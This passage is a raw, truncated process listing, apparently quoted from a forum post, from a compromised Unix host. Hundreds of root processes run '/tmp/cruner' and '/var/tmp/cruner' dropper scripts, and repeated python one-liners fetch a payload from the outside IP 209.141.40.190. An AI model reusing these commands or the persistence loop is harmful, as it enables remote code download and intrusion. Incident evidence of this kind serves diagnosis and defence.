06 ? 0:01 sh /var/tmp/cruner > root 10318 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28507 3950 0 15:46:11 ? 0:00 bash -sh > root 7924 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1313 28501 0 15:45:58 ? 0:00 sleep 60 > root 7292 15303 0 15:45:49 ? 0:00 sleep 60 > root 29569 10180 0 15:46:15 ? 0:00 bash -sh > root 10784 17275 0 - ? 0:00 <defunct> > root 27187 28668 0 - ? 0:00 <defunct> > root 14574 8072 0 15:45:45 ? 0:00 bash -sh > root 17223 9467 0 15:43:27 ? 0:00 bash -sh > root 14534 9989 0 15:44:57 ? 0:00 bash -sh > root 19077 15501 0 15:44:53 ? 0:00 bash -sh > root 12079 11912 0 15:45:25 ? 0:00 sleep 60 > root 10654 10627 0 15:44:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7880 24359 0 15:45:36 ? 0:00 bash -sh > root 10173 1987 0 - ? 0:00 <defunct> > root 9880 20642 0 15:45:59 ? 0:00 sleep 60 > root 468 8095 0 15:44:11 ? 0:00 bash -sh > root 3643 22987 0 15:45:28 ? 0:00 sleep 60 > root 19300 6363 0 15:44:53 ? 0:00 bash -sh > root 29492 5727 0 - ? 0:00 <defunct> > root 19912 13517 0 15:46:09 ? 0:00 bash -sh > root 23046 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 303 17717 0 15:46:06 ? 0:00 bash -sh > root 16841 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23813 12039 0 15:45:47 ? 0:00 bash -sh > root 16804 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16856 24729 0 15:44:48 ? 0:00 bash -sh > root 29625 20342 0 - ? 0:00 <defunct> > root 3513 26781 0 15:45:44 ? 0:00 sleep 60 > root 15265 24943 0 15:46:13 ? 0:00 bash -sh > root 7375 10609 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 1020 29675 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2339 25625 0 15:45:53 ? 0:00 sleep 60 > root 23701 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5313 26186 0 15:45:49 ? 0:00 bash -sh > root 18305 15528 0 15:46:13 ? 0:00 bash -sh > root 26017 25941 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14717 12931 0 15:45:41 ? 0:00 bash -sh > root 8069 5900 0 - ? 0:00 <defunct> > root 20949 29343 0 15:45:06 ? 0:00 sh /tmp/cruner > root 533 8290 0 - ? 0:00 <defunct> > root 25078 1664 0 - ? 0:00 <defunct> > root 12900 24869 0 15:46:13 ? 0:00 bash -sh > root 9760 11299 0 - ? 0:00 <defunct> > root 7260 29118 0 15:46:07 ? 0:00 bash -sh > root 718 19625 0 - ? 0:00 <defunct> > root 7639 12573 0 15:46:07 ? 0:00 bash -sh > root 6400 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 682 28447 0 15:44:11 ? 0:00 bash -sh > root 15730 19822 0 - ? 0:00 <defunct> > root 8203 15320 0 - ? 0:00 <defunct> > root 15079 10731 0 - ? 0:00 <defunct> > root 18410 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9814 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25411 1778 0 15:43:40 ? 0:00 bash -sh > root 29993 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9733 25927 0 - ? 0:00 <defunct> > root 14923 14902 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8969 3088 0 - ? 0:00 <defunct> > root 4999 17889 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3951 23616 0 15:45:19 ? 0:00 sleep 60 > root 25862 27310 0 15:45:52 ? 0:00 bash -sh > root 11765 11455 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12436 12422 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20691 28993 0 15:45:29 ? 0:00 sleep 60 > root 19850 4029 0 15:44:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16543 12634 0 - ? 0:00 <defunct> > root 10411 12579 0 15:45:41 ? 0:00 sleep 60 > root 25229 25009 0 15:45:43 ? 0:00 xargs kill -9 > root 14849 9728 0 15:43:11 ? 0:00 bash -sh > root 9448 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23602 2744 0 - ? 0:00 <defunct> > root 5598 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6784 15739 0 15:45:45 ? 0:00 bash -sh > root 6449 24087 0 15:45:58 ? 0:00 bash -sh > root 24668 24637 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2177 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18372 6506 0 - ? 0:00 <defunct> > root 13778 20217 0 - ? 0:00 <defunct> > root 22480 12814 0 15:45:42 ? 0:00 bash -sh > root 27328 21736 0 - ? 0:00 <defunct> > root 5065 9985 0 15:45:58 ? 0:00 sleep 60 > root 20454 2860 0 15:45:29 ? 0:00 sleep 60 > root 12815 9919 0 15:43:20 ? 0:00 bash -sh > root 12134 1 0 20:43:43 ? 0:00 sh /tmp/cruner > root 648 6593 0 15:45:48 ? 0:00 sleep 60 > root 3232 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5880 29548 0 15:43:25 ? 0:00 bash -sh > root 1403 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 514 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6457 14643 0 15:45:54 ? 0:00 sleep 60 > root 8792 21093 0 15:45:20 ? 0:00 bash -sh > root 12143 19023 0 15:45:21 ? 0:00 sleep 60 > root 12184 3348 0 15:45:36 ? 0:00 bash -sh > root 18200 11251 0 - ? 0:00 <defunct> > root 6459 11332 0 15:45:44 ? 0:00 bash -sh > root 10958 29447 0 - ? 0:00 <defunct> > root 14672 27243 0 - ? 0:00 <defunct> > root 5331 5327 0 - ? 0:00 <defunct> > root 7551 24700 0 - ? 0:00 <defunct> > root 3379 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29812 13275 0 15:45:18 ? 0:00 sleep 60 > root 28772 19602 0 15:45:27 ? 0:00 bash -sh > root 29971 1351 0 15:45:53 ? 0:00 xargs kill -9 > root 25580 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27950 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17454 22563 0 15:45:51 ? 0:00 sleep 60 > root 5288 11339 0 - ? 0:00 <defunct> > root 18096 22467 0 - ? 0:00 <defunct> > root 24563 23309 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22499 1567 0 - ? 0:00 <defunct> > root 9764 9165 0 15:45:54 ? 0:00 bash -sh > root 16442 15375 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 13658 20952 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 18095 14084 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13474 24330 0 15:46:04 ? 0:00 sleep 60 > root 22906 2326 0 15:45:26 ? 0:00 sleep 60 > root 1059 13747 0 15:44:22 ? 0:00 bash -sh > root 17183 14006 0 - ? 0:00 <defunct> > root 24857 17250 0 15:45:13 ? 0:00 bash -sh > root 3870 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6509 5214 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25759 22192 0 15:45:52 ? 0:00 bash -sh > root 7462 4885 0 15:45:45 ? 0:00 bash -sh > root 20390 22417 0 15:45:12 ? 0:00 sh /tmp/cruner > root 667 29405 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17130 17307 0 15:45:51 ? 0:00 sleep 60 > root 10585 1500 0 - ? 0:00 <defunct> > root 1551 7272 0 - ? 0:00 <defunct> > root 17053 23217 0 15:44:17 ? 0:00 bash -sh > root 11568 3136 0 15:45:50 ? 0:00 sleep 60 > root 19412 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2456 1967 0 15:45:48 ? 0:00 xargs kill -9 > root 2102 24063 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 18769 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18785 28423 0 15:43:56 ? 0:00 bash -sh > root 25866 29401 0 15:45:57 ? 0:00 sleep 60 > root 27919 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2911 27903 0 15:45:35 ? 0:00 sleep 60 > root 8637 21771 0 - ? 0:00 <defunct> > root 6686 18243 0 15:45:20 ? 0:00 sleep 60 > root 23025 29852 0 15:46:05 ? 0:00 sleep 60 > root 15626 18614 0 - ? 0:00 <defunct> > root 16316 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13861 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26587 12753 0 15:46:01 ? 0:00 bash -sh > root 19621 18658 0 15:45:38 ? 0:00 bash -sh > root 11694 7431 0 - ? 0:00 <defunct> > root 24357 21737 0 15:45:52 ? 0:00 sleep 60 > root 24192 13377 0 - ? 0:00 <defunct> > root 29505 6380 0 15:45:27 ? 0:00 sleep 60 > root 7773 27644 0 - ? 0:00 <defunct> > root 22580 21915 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9282 7139 0 15:43:43 ? 0:00 bash -sh > root 9363 1556 0 - ? 0:00 <defunct> > root 26615 24354 0 15:43:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28693 20584 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5209 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15748 23034 0 - ? 0:00 <defunct> > root 26155 4928 0 - ? 0:00 <defunct> > root 25346 619 0 15:44:01 ? 0:00 bash -sh > root 864 14314 0 15:45:48 ? 0:00 sleep 60 > root 6034 26832 0 15:46:06 ? 0:00 bash -sh > root 6516 5593 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20843 21947 0 - ? 0:00 <defunct> > root 23817 2045 0 - ? 0:00 <defunct> > root 17503 25000 0 15:44:17 ? 0:00 bash -sh > root 15888 6587 0 15:46:08 ? 0:00 sleep 60 > root 8435 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12628 11739 0 15:46:08 ? 0:00 xargs kill -9 > root 29139 5795 0 - ? 0:00 <defunct> > root 29942 8366 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 10692 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27435 27430 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9484 5734 0 15:45:59 ? 0:00 sleep 60 > root 22159 27194 0 15:45:06 ? 0:00 bash -sh > root 15638 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10292 11699 0 15:45:10 ? 0:00 bash -sh > root 14056 19766 0 15:44:25 ? 0:00 bash -sh > root 3743 21499 0 15:45:58 ? 0:00 sleep 60 > root 6256 29289 0 15:45:35 ? 0:00 sleep 60 > root 26460 3316 0 - ? 0:00 <defunct> > root 2291 5291 0 15:45:24 ? 0:00 sleep 60 > root 11389 16706 0 15:45:36 ? 0:00 bash -sh > root 23300 11282 0 15:45:52 ? 0:00 xargs kill -9 > root 26527 28963 0 - ? 0:00 <defunct> > root 17711 17934 0 15:45:32 ? 0:00 bash -sh > root 29063 11607 0 15:45:57 ? 0:00 bash -sh > root 17731 29680 0 - ? 0:00 <defunct> > root 8874 11927 0 - ? 0:00 <defunct> > root 11883 18191 0 - ? 0:00 <defunct> > root 28620 16171 0 15:44:21 ? 0:00 bash -sh > root 6068 23070 0 15:45:35 ? 0:00 sleep 60 > root 14407 16608 0 15:44:25 ? 0:00 bash -sh > root 5516 2916 0 15:42:56 ? 0:00 /opt/csw/sbin/sshd -R > root 13282 13737 0 15:46:08 ? 0:00 sleep 60 > root 15118 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29693 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22856 22844 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1164 10185 0 15:44:01 ? 0:00 bash -sh > root 6468 6030 0 - ? 0:00 <defunct> > root 14997 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6017 8272 0 15:45:28 ? 0:00 sleep 60 > root 8726 15840 0 - ? 0:00 <defunct> > root 24624 15700 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2370 29973 0 - ? 0:00 <defunct> > root 4273 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13220 13218 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3376 15947 0 - ? 0:00 <defunct> > root 22324 23397 0 - ? 0:00 <defunct> > root 1747 16569 0 15:44:55 ? 0:00 bash -sh > root 23217 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15398 14272 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25399 23171 0 15:46:14 ? 0:00 bash -sh > root 6241 15835 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29476 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3445 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26798 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6675 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20762 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16093 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25456 1885 0 15:46:14 ? 0:00 bash -sh > root 7626 21670 0 15:45:28 ? 0:00 sleep 60 > root 28925 18944 0 15:45:18 ? 0:00 sleep 60 > root 6681 14349 0 15:45:35 ? 0:00 sleep 60 > root 2710 29944 0 15:46:06 ? 0:00 sleep 60 > root 16224 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21387 15055 0 15:44:53 ? 0:00 bash -sh > root 8657 20643 0 15:45:45 ? 0:00 bash -sh > root 618 6541 0 15:45:14 ? 0:00 bash -sh > root 28057 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6282 15768 0 15:45:35 ? 0:00 bash -sh > root 9513 8883 0 - ? 0:00 <defunct> > root 17424 2379 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 16865 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7808 18018 0 15:46:03 ? 0:00 bash -sh > root 18004 733 0 15:45:51 ? 0:00 sleep 60 > root 16447 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 744 28644 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 11884 3830 0 15:44:15 ? 0:00 bash -sh > root 20440 8650 0 - ? 0:00 <defunct> > root 29714 29586 0 - ? 0:00 <defunct> > root 14210 16606 0 15:44:52 ? 0:00 bash -sh > root 27980 4495 0 - ? 0:00 <defunct> > root 13148 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18511 18552 0 - ? 0:00 <defunct> > root 11316 20687 0 15:45:10 ? 0:00 bash -sh > root 21805 4590 0 15:45:33 ? 0:00 sleep 60 > root 18950 5171 0 15:45:51 ? 0:00 xargs kill -9 > root 24970 16219 0 - ? 0:00 <defunct> > root 17362 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20481 15010 0 15:45:33 ? 0:00 sleep 60 > root 17405 3551 0 15:42:48 ? 0:00 bash -sh > root 28596 10230 0 - ? 0:00 <defunct> > root 19998 6144 0 15:45:42 ? 0:00 sleep 60 > root 29796 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25133 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24166 5754 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 11512 11072 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29682 20727 0 - ? 0:00 <defunct> > root 18887 21500 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 772 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21610 25993 0 15:45:12 ? 0:00 sh /tmp/cruner > root 12300 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23089 12961 0 15:45:06 ? 0:00 bash -sh > root 1828 6667 0 - ? 0:00 <defunct> > root 2409 1837 0 - ? 0:00 <defunct> > root 21168 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26010 27092 0 15:45:57 ? 0:00 sleep 60 > root 12949 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20828 14020 0 15:45:06 ? 0:00 bash -sh > root 21846 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3673 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3707 18913 0 - ? 0:00 <defunct> > root 15395 15331 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28789 21424 0 15:46:05 ? 0:00 sleep 60 > root 5838 5605 0 15:43:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12689 11910 0 - ? 0:00 <defunct> > root 23067 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29107 1977 0 15:45:18 ? 0:00 sleep 60 > root 19630 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1909 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5347 14658 0 15:45:54 ? 0:00 sleep 60 > root 3647 29150 0 15:45:58 ? 0:00 sleep 60 > root 16533 17946 0 15:45:42 ? 0:00 sleep 60 > root 23615 25224 0 15:44:40 ? 0:00 bash -sh > root 17589 23918 0 15:46:00 ? 0:00 sh /tmp/cruner > root 15592 18907 0 15:45:16 ? 0:00 sleep 60 > root 20053 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4859 1 0 03:07:53 ? 0:00 sh /var/tmp/cruner > root 4587 29655 0 15:45:58 ? 0:00 sleep 60 > root 2460 14562 0 15:44:12 ? 0:00 bash -sh > root 12831 10035 0 15:45:05 ? 0:00 bash -sh > root 7774 8235 0 15:45:54 ? 0:00 sleep 60 > root 16314 28673 0 15:45:42 ? 0:00 xargs kill -9 > root 3594 28238 0 15:45:19 ? 0:00 sleep 60 > root 399 10840 0 - ? 0:00 <defunct> > root 4811 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25252 25227 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18618 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28648 1867 0 15:44:21 ? 0:00 bash -sh > root 8128 25718 0 - ? 0:00 <defunct> > root 10961 14858 0 - ? 0:00 <defunct> > root 13321 1 0 23:17:47 ? 0:00 sh /var/tmp/cruner > root 13353 29385 0 - ? 0:00 <defunct> > root 22232 11232 0 15:43:28 ? 0:00 bash -sh > root 17692 3932 0 - ? 0:00 <defunct> > root 15301 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8895 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2946 14680 0 15:45:48 ? 0:00 sleep 60 > root 4317 11311 0 - ? 0:00 <defunct> > root 6316 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22969 1153 0 - ? 0:00 <defunct> > root 13399 19666 0 15:43:51 ? 0:00 bash -sh > root 2988 18928 0 15:45:19 ? 0:00 sleep 60 > root 1026 428 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22511 23286 0 15:45:17 ? 0:00 sleep 60 > root 25183 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26491 26424 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28880 6439 0 - ? 0:00 <defunct> > root 23236 3218 0 15:46:01 ? 0:00 bash -sh > root 23081 28638 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 15734 3767 0 15:45:11 ? 0:00 bash -sh > root 14489 10231 0 15:44:52 ? 0:00 bash -sh > root 28217 9184 0 15:46:02 ? 0:00 sleep 60 > root 12324 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11553 7355 0 15:45:15 ? 0:00 sleep 60 > root 15603 15478 0 15:46:08 ? 0:00 sleep 60 > root 20464 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17355 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5538 2970 0 15:46:06 ? 0:00 bash -sh > root 17652 2068 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 24864 14510 0 - ? 0:00 <defunct> > root 25832 13190 0 - ? 0:00 <defunct> > root 4058 11858 0 - ? 0:00 <defunct> > root 11584 5077 0 15:45:21 ? 0:00 sleep 60 > root 9588 5446 0 15:45:15 ? 0:00 bash -sh > root 13672 26263 0 15:45:11 ? 0:00 bash -sh > root 14230 1 0 00:25:55 ? 0:00 sh /tmp/cruner > root 20860 258 0 15:44:53 ? 0:00 bash -sh > root 5010 5000 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9350 13861 0 15:45:15 ? 0:00 bash -sh > root 8640 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8175 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27606 8131 0 15:45:18 ? 0:00 sleep 60 > root 21569 9904 0 15:45:17 ? 0:00 sleep 60 > root 20811 9714 0 - ? 0:00 <defunct> > root 11259 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25762 1485 0 15:45:43 ? 0:00 sleep 60 > root 22495 22070 0 15:46:01 ? 0:00 bash -sh > root 3899 28269 0 15:44:02 ? 0:00 bash -sh > root 18750 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21270 10891 0 15:45:52 ? 0:00 bash -sh > root 25053 3441 0 15:45:39 ? 0:00 bash -sh > root 14680 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9928 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26793 23433 0 15:45:43 ? 0:00 xargs kill -9 > root 26055 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19799 24860 0 - ? 0:00 <defunct> > root 6220 12002 0 15:45:09 ? 0:00 bash -sh > root 13298 25488 0 15:45:41 ? 0:00 sleep 60 > root 5195 2475 0 15:43:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15251 17701 0 15:45:51 ? 0:00 sleep 60 > root 26912 743 0 - ? 0:00 <defunct> > root 10830 1 0 23:16:15 ? 0:00 sh /var/tmp/cruner > root 10732 3257 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9270 5706 0 - ? 0:00 <defunct> > root 15568 2812 0 15:45:51 ? 0:00 bash -sh > root 6397 12986 0 15:45:49 ? 0:00 sleep 60 > root 10062 3569 0 15:45:10 ? 0:00 bash -sh > root 26414 19060 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 29947 2149 0 15:44:11 ? 0:00 bash -sh > root 18581 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21507 16525 0 15:46:14 ? 0:00 sleep 60 > root 1743 1715 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14357 23167 0 15:46:13 ? 0:00 bash -sh > root 25805 771 0 15:45:57 ? 0:00 sleep 60 > root 23087 23085 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26781 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22383 22375 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2377 12815 0 - ? 0:00 <defunct> > root 21738 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5463 12726 0 15:44:13 ? 0:00 bash -sh > root 9848 9826 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11369 11352 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25148 15981 0 - ? 0:00 <defunct> > root 21704 6996 0 15:44:53 ? 0:00 bash -sh > root 6083 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19378 14328 0 15:45:42 ? 0:00 sleep 60 > root 15046 27585 0 - ? 0:00 <defunct> > root 25406 6299 0 15:46:05 ? 0:00 sleep 60 > root 21200 27095 0 15:42:20 ? 0:00 bash -sh > root 3305 20871 0 15:46:06 ? 0:00 sleep 60 > root 15130 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28709 14918 0 15:45:57 ? 0:00 sh /tmp/cruner > root 9096 22389 0 15:45:31 ? 0:00 bash -sh > root 2290 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21787 6324 0 15:45:47 ? 0:00 bash -sh > root 3293 6378 0 15:44:50 ? 0:00 bash -sh > root 14944 1 0 00:54:10 ? 0:00 sh /var/tmp/cruner > root 27084 12990 0 - ? 0:00 <defunct> > root 24473 24468 0 15:44:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14609 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9624 7806 0 15:45:15 ? 0:00 bash -sh > root 28815 14534 0 - ? 0:00 <defunct> > root 4348 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28432 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10709 13678 0 15:45:28 ? 0:00 bash -sh > root 11371 7241 0 15:45:28 ? 0:00 sleep 60 > root 6722 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23335 19535 0 - ? 0:00 <defunct> > root 4201 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20164 10635 0 15:45:52 ? 0:00 bash -sh > root 12036 12015 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7813 9387 0 15:43:47 ? 0:00 bash -sh > root 28132 27982 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16394 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2606 12132 0 15:45:14 ? 0:00 bash -sh > root 19544 20345 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24615 5094 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 914 7226 0 15:45:08 ? 0:00 bash -sh > root 2681 24129 0 - ? 0:00 <defunct> > root 16351 8681 0 15:44:16 ? 0:00 bash -sh > root 24806 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9417 7894 0 - ? 0:00 <defunct> > root 23420 20866 0 15:44:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27539 1 0 22:04:38 ? 0:00 sh /var/tmp/cruner > root 14222 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17316 8408 0 - ? 0:00 <defunct> > root 16467 15738 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24611 28262 0 15:43:05 ? 0:00 bash -sh > root 18469 10062 0 - ? 0:00 <defunct> > root 5940 12459 0 - ? 0:00 <defunct> > root 17473 12180 0 - ? 0:00 <defunct> > root 18047 18016 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12983 16196 0 15:45:41 ? 0:00 xargs kill -9 > root 10820 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9263 8062 0 15:46:07 ? 0:00 sleep 60 > root 18472 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16696 22011 0 15:45:32 ? 0:00 sleep 60 > root 19734 1 0 16:05:46 ? 0:01 sh /tmp/cruner > root 6237 11333 0 15:45:20 ? 0:00 bash -sh > root 24658 24199 0 - ? 0:00 <defunct> > root 8864 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 361 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9926 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10147 29115 0 15:45:10 ? 0:00 bash -sh > root 23616 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11355 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1298 14976 0 15:45:27 ? 0:00 sleep 60 > root 6195 28207 0 15:45:40 ? 0:00 sleep 60 > root 13166 22373 0 15:45:59 ? 0:00 xargs kill -9 > root 23393 19540 0 15:45:17 ? 0:00 bash -sh > root 29777 23122 0 15:45:34 